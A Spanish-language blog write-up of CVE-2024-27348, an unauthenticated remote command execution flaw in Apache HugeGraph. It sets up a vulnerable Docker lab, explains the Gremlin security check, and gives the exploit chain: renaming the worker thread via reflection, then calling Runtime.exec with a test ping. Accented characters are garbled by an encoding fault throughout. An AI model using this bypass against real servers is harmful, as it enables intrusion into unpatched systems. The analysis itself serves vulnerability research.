CVE-2024-27348


CVE-2024-27348 - Apache HugeGraph

Recientemente se descubri贸 una vulnerabilidad que afecta a las versiones de este servicio, desde la 1.0.0 hasta la 1.3.0, con un nivel de criticidad muy alto ya que permite ejecuci贸n remota de comandos (RCE) sin necesidad de autenticaci贸n.

Pero empecemos por lo primero, 驴qu茅 es Apache HugeGraph?

Se trata de un sistema de almacenamiento y procesamiento de grafos distribuido, dise帽ado para manejar grandes vol煤menes de datos estructurados, que son 煤tiles para modelar relaciones complejas entre entidades en aplicaciones como redes sociales, an谩lisis de redes, recomendaciones y m谩s.

Al tratarse de un proyecto de c贸digo abierto, podemos examinar el commit donde se sanitiz贸 el fallo y entender m谩s en profundidad en qu茅 consiste. El archivo donde se acontence la inyecci贸n de comandos es el HugeFactoryAuthProxy.java, concretamente en la funci贸n filterCriticalSystemClasses(). Se agrega una funci贸n que permite filtrar por varios m茅todos de reflexi贸n con llamadas a nivel de sistema (Syscalls) de la clase java.lang.ProcessImpl.

La reflexi贸n en programaci贸n se refiere a la capacidad de un programa para examinar y modificar su propia estructura (como clases, m茅todos...) y comportamiento en tiempo de ejecuci贸n. Permite a los programas manipular objetos y clases de manera din谩mica, incluso si no se conoce su estructura en tiempo de compilaci贸n.

La funci贸n optionalMethodsToFilter() en el archivo HugeSecurityManager.java proporciona una flexibilidad mayor al permitir la especificaci贸n din谩mica de clases y m茅todos a filtrar, manejando excepciones como ClassNotFoundException para adaptarse a entornos donde ciertas clases pueden no estar disponibles.

Prueba de Concepto (PoC)

Utilizar茅 una imagen de docker para crear un contenedor con una versi贸n vulnerable, y con Port Forwarding enlazar el puerto 8080 (el que utiliza por defecto Apache Hugegraph) del contenedor con el de la m谩quina host.

docker pull hugegraph/hugegraph:1.0.0

Para crear el contenedor:

docker run -itd 鈥搉ame=HGserver -p 8080:8080 hugegraph/hugegraph:1.0.0

Una vez hecho esto, tramito una petici贸n por GET a la ra铆z para comprobar que est谩 funcional

El campo apis corresponde a los diferentes endpoints para obtener diferentes datos, autenticarse y obtener tokens de sesi贸n...

Si volvemos a ver el resumen p煤blico de la vulnerabilidad, por ejemplo, en la p谩gina de cve.org, podemos ver en el t铆tulo que hacen referencia a Gremlin, que corresponde al cuarto endpoint.

En la documentaci贸n se explica los diferentes par谩metros que se han de enviar por POST

Como se puede observar, la estructura para hacer las consultas se compone de una secuencia encadenada de llamadas a m茅todos de un objeto dado, pero 驴qu茅 ocurre si probamos a inicializar un nuevo objeto que permita ejecutar comandos a nivel de sistema?

En principio, parece ser que existe una satinizaci贸n que lo impide.

Si examinamos el c贸digo fuente, encontraremos la funci贸n que provoca tal excepci贸n.

Ahora bien, esta excepci贸n se evalua a trav茅s del estado booleano de la funci贸n callFromGremlin()

Y por 煤ltimo, dicho estado proviene de CallFromWorkerWithClass()

Esta funci贸n verifica si el hilo actual es un hilo de trabajo y si cualquier clase en su pila de llamadas coincide con una clase de un conjunto especificado.

Hay que tener en cuenta que a callFromGremlin() se le pasa como argumento GREMLIN_EXECUTOR_CLASS, que se encuentra definido aqu铆:

Es un conjunto inmutable, por lo que cualquier intento de modificar este conjunto resultar谩 en una excepci贸n en tiempo de ejecuci贸n. Las otras dos constantes GREMLIN_SERVER_WORKER y TASK_WORKER ayudan a identificar si esos hilos pertenecen al subproceso principal del servidor Gremlin.

Dicho esto, es necesario modificar con anterioridad el nombre del hilo para evitar que la funci贸n checkExec() bloque茅 la llamada a nivel de sistema.

Explotaci贸n final

Para llegar a ejecutar comandos hay que realizar las siguientes acciones:

  • Thread rubbx = Thread.currentThread(); Extrae el hilo actual y lo almacena en una variable llamada rubbx.
  • Class rubbxcls = Class.forName("java.lang.Thread"); Extrae la clase del hilo anterior y lo almacena en la variable rubbxcls.
  • java.lang.reflect.Field field = rubbxcls.getDeclaredField("name"); Permite modificar el nombre del hilo donde se inyectar谩 el comando.
  • field.setAccessible(true); Es necesario establecerlo como escritura para poder cambiarlo
  • field.set(rubbx, "rubbx"); Cambia el valor del hilo a rubbx.
  • Runtime runtime = Runtime.getRuntime(); Obtiene una instancia que permite realizar una llamada a nivel de sistema.
  • runtime.exec("ping -c1 172.17.0.1"); Mediante el m茅todo exec() se ejecuta un comando que enviar谩 una traza ICMP para verificar que se acontece la vulnerabilidad.

CVE-2024-27348 | Rubbx